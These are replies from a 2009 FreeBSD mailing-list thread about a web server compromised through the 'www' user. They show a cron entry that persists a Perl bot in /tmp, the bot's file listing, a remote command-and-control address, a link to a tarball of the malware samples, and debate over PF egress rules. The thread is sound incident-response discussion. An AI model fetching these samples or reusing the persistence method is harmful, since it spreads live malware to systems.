S/MIME Cryptographic Signature
Re: what www perl script is running?
CyberLeo Kitsana wrote: > > Are these files available in a tarball someplace public, for those of us > who enjoy performing autopsies on virii? Sure thing: http://silenceisdefeat.com/~cbrace/www_badstuff.gz this tarball contains "tmpfile" which is the misbehaving script as well as the contents of a directory called ".," which has a bunch of source code and so on. As indicated earlier, this stuff was installed by user 'www'. It should be unpacked in an empty directory. Have fun! - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25143778.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wrote:
> In response to Adam Vande More :
>
> > On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran >wrote:
> >
> > > In response to Adam Vande More :
> > >
> > > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran <
> wmo...@potentialtech.com
> > > >wrote:
> > > >
> > > > > In response to Paul Schmehl :
> > > > >
> > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace <
> c...@lim.nl>
> > > > > wrote:
> > > > > >
> > > > > > > Bill Moran wrote:
> > > > > > >>
> > > > > > >> You can add an ipfw rule to prevent the script from calling
> home,
> > > > > which
> > > > > > >> will effectively render it neutered until you can track down
> and
> > > > > actually
> > > > > > >> _fix_ the problem.
> > > > > > >
> > > > > > > Mike Bristow above wrote: "The script is talking to
> 94.102.51.57 on
> > > > > port
> > > > > > > 7000". OK, so I how do I know what port the script is using for
> > > > > outgoing
> > > > > > > traffic on MY box? 7000 is the remote host port, right?
> > > > > > >
> > > > > > > FWIW, here are my core PF lines:
> > > > > > >
> > > > > > > pass out quick on $ext_if proto 41
> > > > > > > pass out quick on gif0 inet6
> > > > > > > pass in quick on gif0 inet6 proto icmp6
> > > > > > > block in log
> > > > > > >
> > > > > > > That is to say: nothing is allowed in unless explicitly allowed
> > > > > > > Everything allowed out.
> > > > > > > (plus some ipv6 stuff I was testing with a tunnel)
> > > > > > >
> > > > > >
> > > > > > The problem with blocking outbound ports is that it breaks things
> in
> > > odd
> > > > > ways.
> > > > > > For example, your mail server listens on port 25 (and possibly
> 465 as
> > > > > well) but
> > > > > > it communicates with connecting clients on whatever ethereal port
> the
> > > > > client
> > > > > > decided to use. If the port the client selects happens to be in
> a
> > > range
> > > > > that
> > > > > > you are blocking, communication will be impossible and the client
> > > will
> > > > > report
> > > > > > that your mail server is non-responsive.
> > > > >
> > > > > You're doing it wrong. Block on the destination port _only_ and
> you
> > > don't
> > > > > care about the ephemeral ports.
> > > >
> > > > What ports would you block then when you're trying to run a
> webserver?
> > >
> > > My point (which is presented in examples below) is that you block
> > > everything
> > > and only allow what is needed (usually only dns and ntp, possibly smtp
> if
> > > the web server needs to send mail)
> > >
> > > That single statement above was directed specifically at the comment
> about
> > > it being impossible to predict (and thus block) ephemeral source ports.
> > > He's
> > > right about that, and that's why filtering on the destination port is
> the
> > > more common practice.
> > >
> > > Of course, that caused me to create an email that seems to contradict
> > > itself, if you don't notice that it's two answers to two different
> > > comments.
> >
> > My point was that it's unfeasible to block by destination point. You can
> > only block by destination port if it's a known quantity, and the
> destination
> > port is ephemeral in the question I posed(which what the OP had an issue
> > with).
>
> Please read the entire email before you respond. My last example below
> demonstrates how to do what you call "unfeasible".
>
> > > > > > It's much easier to block outgoing ports for services you *don't*
> > > want to
> > > > > > offer, but, if the service isn't running anyway, blocking the
> port is
> > > > > > non-productive.
> > > > >
> > > > > You're obviously misunderstanding me completely. Your not blocking
> > > > > incoming
> > > > > connections, your preventing outgoing ones, which means there _is_
> no
> > > > > service running on your local machine.
> > > > >
> > > > > For example, a server that is _only_ web (with SSH for admin) could
> > > have
> > > > > a ruleset like:
> > > > >
> > > > > pass in quick on $ext_if proto tcp from any to me port
> {25,587,465,22}
> > > keep
> > > > > state
> > > > > pass out quick on $ext_if proto tcp from me to any port {25} keep
> state
> > > > > pass out quick on $ext_if proto upd from me to any port {53,123}
> keep
> > > state
> > > > > block all
> > > > >
> > > > > (note that's only an example, there may be some fine points I'm
> > > missing)
> > > > >
> > > > > One thing that had not yet been mentioned when I posted my earlier
> > > comment,
> > > > > is that this system is a combination firewall/web server. That
> makes
> > > the
> > > > > rules more complicated, but the setup is still possible:
> > > > >
> > > > > pass in quick on $ext_if proto tcp from any to me port {80} keep
> state
> > > > > pass out quick on $ext_if proto upd from me to any port {53,123}
> keep
> > > state
> > > > > pass out quick on $ext_if from $internal_network to any all keep
> state
> > > > > block all
> > > > >
> > > > > Which allows limited outgoing traffic originating from the box
> itself,
Re: what www perl script is running?
In response to Adam Vande More :
> On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran wrote:
>
> > In response to Adam Vande More :
> >
> > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran > >wrote:
> > >
> > > > In response to Paul Schmehl :
> > > >
> > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace
> > > > wrote:
> > > > >
> > > > > > Bill Moran wrote:
> > > > > >>
> > > > > >> You can add an ipfw rule to prevent the script from calling home,
> > > > which
> > > > > >> will effectively render it neutered until you can track down and
> > > > actually
> > > > > >> _fix_ the problem.
> > > > > >
> > > > > > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on
> > > > port
> > > > > > 7000". OK, so I how do I know what port the script is using for
> > > > outgoing
> > > > > > traffic on MY box? 7000 is the remote host port, right?
> > > > > >
> > > > > > FWIW, here are my core PF lines:
> > > > > >
> > > > > > pass out quick on $ext_if proto 41
> > > > > > pass out quick on gif0 inet6
> > > > > > pass in quick on gif0 inet6 proto icmp6
> > > > > > block in log
> > > > > >
> > > > > > That is to say: nothing is allowed in unless explicitly allowed
> > > > > > Everything allowed out.
> > > > > > (plus some ipv6 stuff I was testing with a tunnel)
> > > > > >
> > > > >
> > > > > The problem with blocking outbound ports is that it breaks things in
> > odd
> > > > ways.
> > > > > For example, your mail server listens on port 25 (and possibly 465 as
> > > > well) but
> > > > > it communicates with connecting clients on whatever ethereal port the
> > > > client
> > > > > decided to use. If the port the client selects happens to be in a
> > range
> > > > that
> > > > > you are blocking, communication will be impossible and the client
> > will
> > > > report
> > > > > that your mail server is non-responsive.
> > > >
> > > > You're doing it wrong. Block on the destination port _only_ and you
> > don't
> > > > care about the ephemeral ports.
> > >
> > > What ports would you block then when you're trying to run a webserver?
> >
> > My point (which is presented in examples below) is that you block
> > everything
> > and only allow what is needed (usually only dns and ntp, possibly smtp if
> > the web server needs to send mail)
> >
> > That single statement above was directed specifically at the comment about
> > it being impossible to predict (and thus block) ephemeral source ports.
> > He's
> > right about that, and that's why filtering on the destination port is the
> > more common practice.
> >
> > Of course, that caused me to create an email that seems to contradict
> > itself, if you don't notice that it's two answers to two different
> > comments.
>
> My point was that it's unfeasible to block by destination point. You can
> only block by destination port if it's a known quantity, and the destination
> port is ephemeral in the question I posed(which what the OP had an issue
> with).
Please read the entire email before you respond. My last example below
demonstrates how to do what you call "unfeasible".
> > > > > It's much easier to block outgoing ports for services you *don't*
> > want to
> > > > > offer, but, if the service isn't running anyway, blocking the port is
> > > > > non-productive.
> > > >
> > > > You're obviously misunderstanding me completely. Your not blocking
> > > > incoming
> > > > connections, your preventing outgoing ones, which means there _is_ no
> > > > service running on your local machine.
> > > >
> > > > For example, a server that is _only_ web (with SSH for admin) could
> > have
> > > > a ruleset like:
> > > >
> > > > pass in quick on $ext_if proto tcp from any to me port {25,587,465,22}
> > keep
> > > > state
> > > > pass out quick on $ext_if proto tcp from me to any port {25} keep state
> > > > pass out quick on $ext_if proto upd from me to any port {53,123} keep
> > state
> > > > block all
> > > >
> > > > (note that's only an example, there may be some fine points I'm
> > missing)
> > > >
> > > > One thing that had not yet been mentioned when I posted my earlier
> > comment,
> > > > is that this system is a combination firewall/web server. That makes
> > the
> > > > rules more complicated, but the setup is still possible:
> > > >
> > > > pass in quick on $ext_if proto tcp from any to me port {80} keep state
> > > > pass out quick on $ext_if proto upd from me to any port {53,123} keep
> > state
> > > > pass out quick on $ext_if from $internal_network to any all keep state
> > > > block all
> > > >
> > > > Which allows limited outgoing traffic originating from the box itself,
> > > > but allows unlimited outgoing traffic from systems on
> > $internal_network.
> > > >
> > > > I've done this with great success. In fact, I had a fun time where a
> > > > client in question was infected with viruses out the wazoo, but the
> > > > viruses never spread off their local network because I only allowed
> > > > SMTP traffic to their SMTP relay, which required SMTP
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran wrote:
> In response to Adam Vande More :
>
> > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran >wrote:
> >
> > > In response to Paul Schmehl :
> > >
> > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace
> > > wrote:
> > > >
> > > > > Bill Moran wrote:
> > > > >>
> > > > >> You can add an ipfw rule to prevent the script from calling home,
> > > which
> > > > >> will effectively render it neutered until you can track down and
> > > actually
> > > > >> _fix_ the problem.
> > > > >
> > > > > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on
> > > port
> > > > > 7000". OK, so I how do I know what port the script is using for
> > > outgoing
> > > > > traffic on MY box? 7000 is the remote host port, right?
> > > > >
> > > > > FWIW, here are my core PF lines:
> > > > >
> > > > > pass out quick on $ext_if proto 41
> > > > > pass out quick on gif0 inet6
> > > > > pass in quick on gif0 inet6 proto icmp6
> > > > > block in log
> > > > >
> > > > > That is to say: nothing is allowed in unless explicitly allowed
> > > > > Everything allowed out.
> > > > > (plus some ipv6 stuff I was testing with a tunnel)
> > > > >
> > > >
> > > > The problem with blocking outbound ports is that it breaks things in
> odd
> > > ways.
> > > > For example, your mail server listens on port 25 (and possibly 465 as
> > > well) but
> > > > it communicates with connecting clients on whatever ethereal port the
> > > client
> > > > decided to use. If the port the client selects happens to be in a
> range
> > > that
> > > > you are blocking, communication will be impossible and the client
> will
> > > report
> > > > that your mail server is non-responsive.
> > >
> > > You're doing it wrong. Block on the destination port _only_ and you
> don't
> > > care about the ephemeral ports.
> >
> > What ports would you block then when you're trying to run a webserver?
>
> My point (which is presented in examples below) is that you block
> everything
> and only allow what is needed (usually only dns and ntp, possibly smtp if
> the web server needs to send mail)
>
> That single statement above was directed specifically at the comment about
> it being impossible to predict (and thus block) ephemeral source ports.
> He's
> right about that, and that's why filtering on the destination port is the
> more common practice.
>
> Of course, that caused me to create an email that seems to contradict
> itself, if you don't notice that it's two answers to two different
> comments.
My point was that it's unfeasible to block by destination point. You can
only block by destination port if it's a known quantity, and the destination
port is ephemeral in the question I posed(which what the OP had an issue
with).
>
>
> > > > It's much easier to block outgoing ports for services you *don't*
> want to
> > > > offer, but, if the service isn't running anyway, blocking the port is
> > > > non-productive.
> > >
> > > You're obviously misunderstanding me completely. Your not blocking
> > > incoming
> > > connections, your preventing outgoing ones, which means there _is_ no
> > > service running on your local machine.
> > >
> > > For example, a server that is _only_ web (with SSH for admin) could
> have
> > > a ruleset like:
> > >
> > > pass in quick on $ext_if proto tcp from any to me port {25,587,465,22}
> keep
> > > state
> > > pass out quick on $ext_if proto tcp from me to any port {25} keep state
> > > pass out quick on $ext_if proto upd from me to any port {53,123} keep
> state
> > > block all
> > >
> > > (note that's only an example, there may be some fine points I'm
> missing)
> > >
> > > One thing that had not yet been mentioned when I posted my earlier
> comment,
> > > is that this system is a combination firewall/web server. That makes
> the
> > > rules more complicated, but the setup is still possible:
> > >
> > > pass in quick on $ext_if proto tcp from any to me port {80} keep state
> > > pass out quick on $ext_if proto upd from me to any port {53,123} keep
> state
> > > pass out quick on $ext_if from $internal_network to any all keep state
> > > block all
> > >
> > > Which allows limited outgoing traffic originating from the box itself,
> > > but allows unlimited outgoing traffic from systems on
> $internal_network.
> > >
> > > I've done this with great success. In fact, I had a fun time where a
> > > client in question was infected with viruses out the wazoo, but the
> > > viruses never spread off their local network because I only allowed
> > > SMTP traffic to their SMTP relay, which required SMTP auth (thus the
> > > viruses couldn't send mail)
> > >
> > >
> >
> >
> > --
> > Adam Vande More
> > ___
> > freebsd-questions@freebsd.org mailing list
> > http://lists.freebsd.org/mailman/listinfo/freebsd-questions
> > To unsubscribe, send any mail to "
> freebsd-questions-unsubscr...@freebsd.org"
>
>
> --
> Bill Moran
> http://www.potentialtech.com
> h
Re: what www perl script is running?
Colin Brace wrote: > > Ruben de Groot wrote: >> Try a find through the entire filesystem for files owned by this user that >> you can't account for. Also check your cron and at files under /var/cron >> and >> /var/at >> > > I found the cronjob which keeps restarting the script: > > [r...@venus /var/cron/tabs]# ls -l > total 12 > -rw--- 1 root wheel 3440 Aug 25 12:06 colin > -rw--- 1 root wheel 240 Jul 28 23:49 www > > [r...@venus /var/cron/tabs]# cat www > # DO NOT EDIT THIS FILE - edit the master and reinstall. > # (cron.job installed on Tue Jul 28 23:49:28 2009) > # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24 > 2006/09/03 17:52:19 ru Exp $) > */1 * * * * perl /tmp/tmpfile > > I removed it, so now at least the script stops relaunching. > > /tmp/tmpfile is of course the script. > > In a subdirectory of tmp, there is a whole bunch of source code, all owned > by 'www': > > /tmp/.,]# ls -l > total 5692 > -rw-r--r-- 1 www wheel 2844160 Mar 27 10:00 m.tgz > drwxr-xr-x 4 www wheel 512 Nov 10 2008 ml > -rw-r--r-- 1 www wheel43419 May 27 23:22 scanxml.txt > > ]# ls -l ml > total 3208 > -rwxr-xr-x 1 www wheel 411 Mar 27 09:57 1.user > -rwxr-xr-x 1 www wheel 422 Mar 27 09:57 2.user > -rwxr-xr-x 1 www wheel 505767 Aug 3 2008 LinkEvents > -rwxr-xr-x 1 www wheel2154 May 16 2003 Makefile > -rwx--x--x 1 www wheel 418490 Dec 3 2005 bsd > -rwxr-xr-x 1 www wheel 941 Dec 3 2005 checkmech > -rwxr-xr-x 1 www wheel 23237 May 16 2003 configure > -rwx--x--x 1 www wheel 397274 Dec 3 2005 crond > -rwxr-xr-x 1 www wheel 22882 May 16 2003 m.h > -rwxr-xr-x 1 www wheel1054 Aug 3 2008 m.lev > -rwx--x--x 1 www wheel 6 May 25 2008 m.pid > -rwxr-xr-x 1 www wheel1320 Mar 27 09:56 m.set > -rwxr-xr-x 1 www wheel 10240 Nov 10 2008 m.tgz > -rwxr-xr-x 1 www wheel 167964 Mar 16 2001 pico > drwxr-xr-x 2 www wheel 512 Mar 4 2005 r > drwxr-xr-x 2 www wheel1024 Dec 3 2005 src > > If anyone is interested in looking at this stuff, or wants more info, please > let me know. Are these files available in a tarball someplace public, for those of us who enjoy performing autopsies on virii? -- Fuzzy love, -CyberLeo Technical Administrator CyberLeo.Net Webhosting http://www.CyberLeo.Net Furry Peace! - http://.fur.com/peace/ ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
In response to Adam Vande More :
> On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran wrote:
>
> > In response to Paul Schmehl :
> >
> > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace
> > wrote:
> > >
> > > > Bill Moran wrote:
> > > >>
> > > >> You can add an ipfw rule to prevent the script from calling home,
> > which
> > > >> will effectively render it neutered until you can track down and
> > actually
> > > >> _fix_ the problem.
> > > >
> > > > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on
> > port
> > > > 7000". OK, so I how do I know what port the script is using for
> > outgoing
> > > > traffic on MY box? 7000 is the remote host port, right?
> > > >
> > > > FWIW, here are my core PF lines:
> > > >
> > > > pass out quick on $ext_if proto 41
> > > > pass out quick on gif0 inet6
> > > > pass in quick on gif0 inet6 proto icmp6
> > > > block in log
> > > >
> > > > That is to say: nothing is allowed in unless explicitly allowed
> > > > Everything allowed out.
> > > > (plus some ipv6 stuff I was testing with a tunnel)
> > > >
> > >
> > > The problem with blocking outbound ports is that it breaks things in odd
> > ways.
> > > For example, your mail server listens on port 25 (and possibly 465 as
> > well) but
> > > it communicates with connecting clients on whatever ethereal port the
> > client
> > > decided to use. If the port the client selects happens to be in a range
> > that
> > > you are blocking, communication will be impossible and the client will
> > report
> > > that your mail server is non-responsive.
> >
> > You're doing it wrong. Block on the destination port _only_ and you don't
> > care about the ephemeral ports.
>
> What ports would you block then when you're trying to run a webserver?
My point (which is presented in examples below) is that you block everything
and only allow what is needed (usually only dns and ntp, possibly smtp if
the web server needs to send mail)
That single statement above was directed specifically at the comment about
it being impossible to predict (and thus block) ephemeral source ports. He's
right about that, and that's why filtering on the destination port is the
more common practice.
Of course, that caused me to create an email that seems to contradict
itself, if you don't notice that it's two answers to two different comments.
> > > It's much easier to block outgoing ports for services you *don't* want to
> > > offer, but, if the service isn't running anyway, blocking the port is
> > > non-productive.
> >
> > You're obviously misunderstanding me completely. Your not blocking
> > incoming
> > connections, your preventing outgoing ones, which means there _is_ no
> > service running on your local machine.
> >
> > For example, a server that is _only_ web (with SSH for admin) could have
> > a ruleset like:
> >
> > pass in quick on $ext_if proto tcp from any to me port {25,587,465,22} keep
> > state
> > pass out quick on $ext_if proto tcp from me to any port {25} keep state
> > pass out quick on $ext_if proto upd from me to any port {53,123} keep state
> > block all
> >
> > (note that's only an example, there may be some fine points I'm missing)
> >
> > One thing that had not yet been mentioned when I posted my earlier comment,
> > is that this system is a combination firewall/web server. That makes the
> > rules more complicated, but the setup is still possible:
> >
> > pass in quick on $ext_if proto tcp from any to me port {80} keep state
> > pass out quick on $ext_if proto upd from me to any port {53,123} keep state
> > pass out quick on $ext_if from $internal_network to any all keep state
> > block all
> >
> > Which allows limited outgoing traffic originating from the box itself,
> > but allows unlimited outgoing traffic from systems on $internal_network.
> >
> > I've done this with great success. In fact, I had a fun time where a
> > client in question was infected with viruses out the wazoo, but the
> > viruses never spread off their local network because I only allowed
> > SMTP traffic to their SMTP relay, which required SMTP auth (thus the
> > viruses couldn't send mail)
> >
> >
>
>
> --
> Adam Vande More
> ___
> freebsd-questions@freebsd.org mailing list
> http://lists.freebsd.org/mailman/listinfo/freebsd-questions
> To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
--
Bill Moran
http://www.potentialtech.com
http://people.collaborativefusion.com/~wmoran/
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran wrote:
> In response to Paul Schmehl :
>
> > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace
> wrote:
> >
> > > Bill Moran wrote:
> > >>
> > >> You can add an ipfw rule to prevent the script from calling home,
> which
> > >> will effectively render it neutered until you can track down and
> actually
> > >> _fix_ the problem.
> > >
> > > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on
> port
> > > 7000". OK, so I how do I know what port the script is using for
> outgoing
> > > traffic on MY box? 7000 is the remote host port, right?
> > >
> > > FWIW, here are my core PF lines:
> > >
> > > pass out quick on $ext_if proto 41
> > > pass out quick on gif0 inet6
> > > pass in quick on gif0 inet6 proto icmp6
> > > block in log
> > >
> > > That is to say: nothing is allowed in unless explicitly allowed
> > > Everything allowed out.
> > > (plus some ipv6 stuff I was testing with a tunnel)
> > >
> >
> > The problem with blocking outbound ports is that it breaks things in odd
> ways.
> > For example, your mail server listens on port 25 (and possibly 465 as
> well) but
> > it communicates with connecting clients on whatever ethereal port the
> client
> > decided to use. If the port the client selects happens to be in a range
> that
> > you are blocking, communication will be impossible and the client will
> report
> > that your mail server is non-responsive.
>
> You're doing it wrong. Block on the destination port _only_ and you don't
> care about the ephemeral ports.
What ports would you block then when you're trying to run a webserver?
>
>
> > It's much easier to block outgoing ports for services you *don't* want to
> > offer, but, if the service isn't running anyway, blocking the port is
> > non-productive.
>
> You're obviously misunderstanding me completely. Your not blocking
> incoming
> connections, your preventing outgoing ones, which means there _is_ no
> service running on your local machine.
>
> For example, a server that is _only_ web (with SSH for admin) could have
> a ruleset like:
>
> pass in quick on $ext_if proto tcp from any to me port {25,587,465,22} keep
> state
> pass out quick on $ext_if proto tcp from me to any port {25} keep state
> pass out quick on $ext_if proto upd from me to any port {53,123} keep state
> block all
>
> (note that's only an example, there may be some fine points I'm missing)
>
> One thing that had not yet been mentioned when I posted my earlier comment,
> is that this system is a combination firewall/web server. That makes the
> rules more complicated, but the setup is still possible:
>
> pass in quick on $ext_if proto tcp from any to me port {80} keep state
> pass out quick on $ext_if proto upd from me to any port {53,123} keep state
> pass out quick on $ext_if from $internal_network to any all keep state
> block all
>
> Which allows limited outgoing traffic originating from the box itself,
> but allows unlimited outgoing traffic from systems on $internal_network.
>
> I've done this with great success. In fact, I had a fun time where a
> client in question was infected with viruses out the wazoo, but the
> viruses never spread off their local network because I only allowed
> SMTP traffic to their SMTP relay, which required SMTP auth (thus the
> viruses couldn't send mail)
>
>
--
Adam Vande More
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
In response to Paul Schmehl :
> --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace wrote:
>
> > Bill Moran wrote:
> >>
> >> You can add an ipfw rule to prevent the script from calling home, which
> >> will effectively render it neutered until you can track down and actually
> >> _fix_ the problem.
> >
> > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on port
> > 7000". OK, so I how do I know what port the script is using for outgoing
> > traffic on MY box? 7000 is the remote host port, right?
> >
> > FWIW, here are my core PF lines:
> >
> > pass out quick on $ext_if proto 41
> > pass out quick on gif0 inet6
> > pass in quick on gif0 inet6 proto icmp6
> > block in log
> >
> > That is to say: nothing is allowed in unless explicitly allowed
> > Everything allowed out.
> > (plus some ipv6 stuff I was testing with a tunnel)
> >
>
> The problem with blocking outbound ports is that it breaks things in odd
> ways.
> For example, your mail server listens on port 25 (and possibly 465 as well)
> but
> it communicates with connecting clients on whatever ethereal port the client
> decided to use. If the port the client selects happens to be in a range that
> you are blocking, communication will be impossible and the client will report
> that your mail server is non-responsive.
You're doing it wrong. Block on the destination port _only_ and you don't
care about the ephemeral ports.
> It's much easier to block outgoing ports for services you *don't* want to
> offer, but, if the service isn't running anyway, blocking the port is
> non-productive.
You're obviously misunderstanding me completely. Your not blocking incoming
connections, your preventing outgoing ones, which means there _is_ no
service running on your local machine.
For example, a server that is _only_ web (with SSH for admin) could have
a ruleset like:
pass in quick on $ext_if proto tcp from any to me port {25,587,465,22} keep
state
pass out quick on $ext_if proto tcp from me to any port {25} keep state
pass out quick on $ext_if proto upd from me to any port {53,123} keep state
block all
(note that's only an example, there may be some fine points I'm missing)
One thing that had not yet been mentioned when I posted my earlier comment,
is that this system is a combination firewall/web server. That makes the
rules more complicated, but the setup is still possible:
pass in quick on $ext_if proto tcp from any to me port {80} keep state
pass out quick on $ext_if proto upd from me to any port {53,123} keep state
pass out quick on $ext_if from $internal_network to any all keep state
block all
Which allows limited outgoing traffic originating from the box itself,
but allows unlimited outgoing traffic from systems on $internal_network.
I've done this with great success. In fact, I had a fun time where a
client in question was infected with viruses out the wazoo, but the
viruses never spread off their local network because I only allowed
SMTP traffic to their SMTP relay, which required SMTP auth (thus the
viruses couldn't send mail)
--
Bill Moran
http://www.potentialtech.com
http://people.collaborativefusion.com/~wmoran/
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
In response to Paul Schmehl : > --On Tuesday, August 25, 2009 07:26:04 -0500 Bill Moran > wrote: > >> > >> I am currently killing the process with the following bash command while I > >> decide what to do next: > >> > >> $ while x=1 ; do sudo killall -9 perl5.8.9 && echo "killed..." ; sleep 15; > >> done > > > > You can add an ipfw rule to prevent the script from calling home, which > > will effectively render it neutered until you can track down and actually > > _fix_ the problem. > > > > In reality, good security practice says that you should have IPFW (or some > > other firewall) running and only allowing known good traffic right from > > the start, which might have protected you from this in the first place. > > > > I disagree. I used to believe this, but experience has taught me otherwise. > When you run a firewall on a host, you open the ports for the services you > want > to offer. The firewall provides you no protection at all against hackers > attacking the services that are listening on ports opened through the > firewall. > All a host firewall does is consume CPU and memory and give you a warm fuzzy > that doesn't really add to security at all and may well make you less > vigilant. > (And yes, I know I'm a security heretic in some quarters.) Well, you're entitled to your opinion, but I think it's misguided. Security isn't always about preventing a compromise. Sometimes it's about reducing the damage. If he had a packet filter installed that allowed only known-good traffic, he still might have gotten compromised through a web server, you got that part right. The part you missed is that the installed script needs to connect out to talk to it's bot master. The packet filter would have prevented this communication, thus the rogue script would have been useless. While the compromise of the machine would succeed, control of the machine would not fall into other hands, and the script would be incapable of compromising _information_ on the machine (as it stands, you have no idea what files that script has been sending up to the bot master ... password files, for example?) A side note to that. Make sure to change each and every password, key file, etc on that system, as they're all suspect at this point. -- Bill Moran http://www.potentialtech.com http://people.collaborativefusion.com/~wmoran/ ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
--On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace wrote: Bill, one more thing: Bill Moran wrote: You can add an ipfw rule to prevent the script from calling home, which will effectively render it neutered until you can track down and actually _fix_ the problem. Mike Bristow above wrote: "The script is talking to 94.102.51.57 on port 7000". OK, so I how do I know what port the script is using for outgoing traffic on MY box? 7000 is the remote host port, right? FWIW, here are my core PF lines: pass out quick on $ext_if proto 41 pass out quick on gif0 inet6 pass in quick on gif0 inet6 proto icmp6 block in log That is to say: nothing is allowed in unless explicitly allowed Everything allowed out. (plus some ipv6 stuff I was testing with a tunnel) The problem with blocking outbound ports is that it breaks things in odd ways. For example, your mail server listens on port 25 (and possibly 465 as well) but it communicates with connecting clients on whatever ethereal port the client decided to use. If the port the client selects happens to be in a range that you are blocking, communication will be impossible and the client will report that your mail server is non-responsive. It's much easier to block outgoing ports for services you *don't* want to offer, but, if the service isn't running anyway, blocking the port is non-productive. -- Paul Schmehl, Senior Infosec Analyst As if it wasn't already obvious, my opinions are my own and not those of my employer. *** "It is as useless to argue with those who have renounced the use of reason as to administer medication to the dead." Thomas Jefferson ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
--On Tuesday, August 25, 2009 05:46:43 -0500 Colin Brace wrote: Olivier Nicole wrote: Am I correct in assuming that my system has been hacked and I am running an IRC server or something? IRC client at least. And yes, I would think that your system has been compromised. Thanks Olivier. I am currently killing the process with the following bash command while I decide what to do next: $ while x=1 ; do sudo killall -9 perl5.8.9 && echo "killed..." ; sleep 15; done I suppose this calls for a "bare-metal" reinstall. Is it worth first trying to determine how my system was broken into? Only you can answer that question. How badly do you need to get the server back up and running? If it's not critical, it would be worth taking the time to investigate. Otherwise you'll set it back up the same way and be hacked again in the same way. If you know someone who is good at forensics on Unix boxes, call them. -- Paul Schmehl, Senior Infosec Analyst As if it wasn't already obvious, my opinions are my own and not those of my employer. *** "It is as useless to argue with those who have renounced the use of reason as to administer medication to the dead." Thomas Jefferson ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Ruben de Groot wrote: > > Try a find through the entire filesystem for files owned by this user that > you can't account for. Also check your cron and at files under /var/cron > and > /var/at > I found the cronjob which keeps restarting the script: [r...@venus /var/cron/tabs]# ls -l total 12 -rw--- 1 root wheel 3440 Aug 25 12:06 colin -rw--- 1 root wheel 240 Jul 28 23:49 www [r...@venus /var/cron/tabs]# cat www # DO NOT EDIT THIS FILE - edit the master and reinstall. # (cron.job installed on Tue Jul 28 23:49:28 2009) # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24 2006/09/03 17:52:19 ru Exp $) */1 * * * * perl /tmp/tmpfile I removed it, so now at least the script stops relaunching. /tmp/tmpfile is of course the script. In a subdirectory of tmp, there is a whole bunch of source code, all owned by 'www': /tmp/.,]# ls -l total 5692 -rw-r--r-- 1 www wheel 2844160 Mar 27 10:00 m.tgz drwxr-xr-x 4 www wheel 512 Nov 10 2008 ml -rw-r--r-- 1 www wheel43419 May 27 23:22 scanxml.txt ]# ls -l ml total 3208 -rwxr-xr-x 1 www wheel 411 Mar 27 09:57 1.user -rwxr-xr-x 1 www wheel 422 Mar 27 09:57 2.user -rwxr-xr-x 1 www wheel 505767 Aug 3 2008 LinkEvents -rwxr-xr-x 1 www wheel2154 May 16 2003 Makefile -rwx--x--x 1 www wheel 418490 Dec 3 2005 bsd -rwxr-xr-x 1 www wheel 941 Dec 3 2005 checkmech -rwxr-xr-x 1 www wheel 23237 May 16 2003 configure -rwx--x--x 1 www wheel 397274 Dec 3 2005 crond -rwxr-xr-x 1 www wheel 22882 May 16 2003 m.h -rwxr-xr-x 1 www wheel1054 Aug 3 2008 m.lev -rwx--x--x 1 www wheel 6 May 25 2008 m.pid -rwxr-xr-x 1 www wheel1320 Mar 27 09:56 m.set -rwxr-xr-x 1 www wheel 10240 Nov 10 2008 m.tgz -rwxr-xr-x 1 www wheel 167964 Mar 16 2001 pico drwxr-xr-x 2 www wheel 512 Mar 4 2005 r drwxr-xr-x 2 www wheel1024 Dec 3 2005 src If 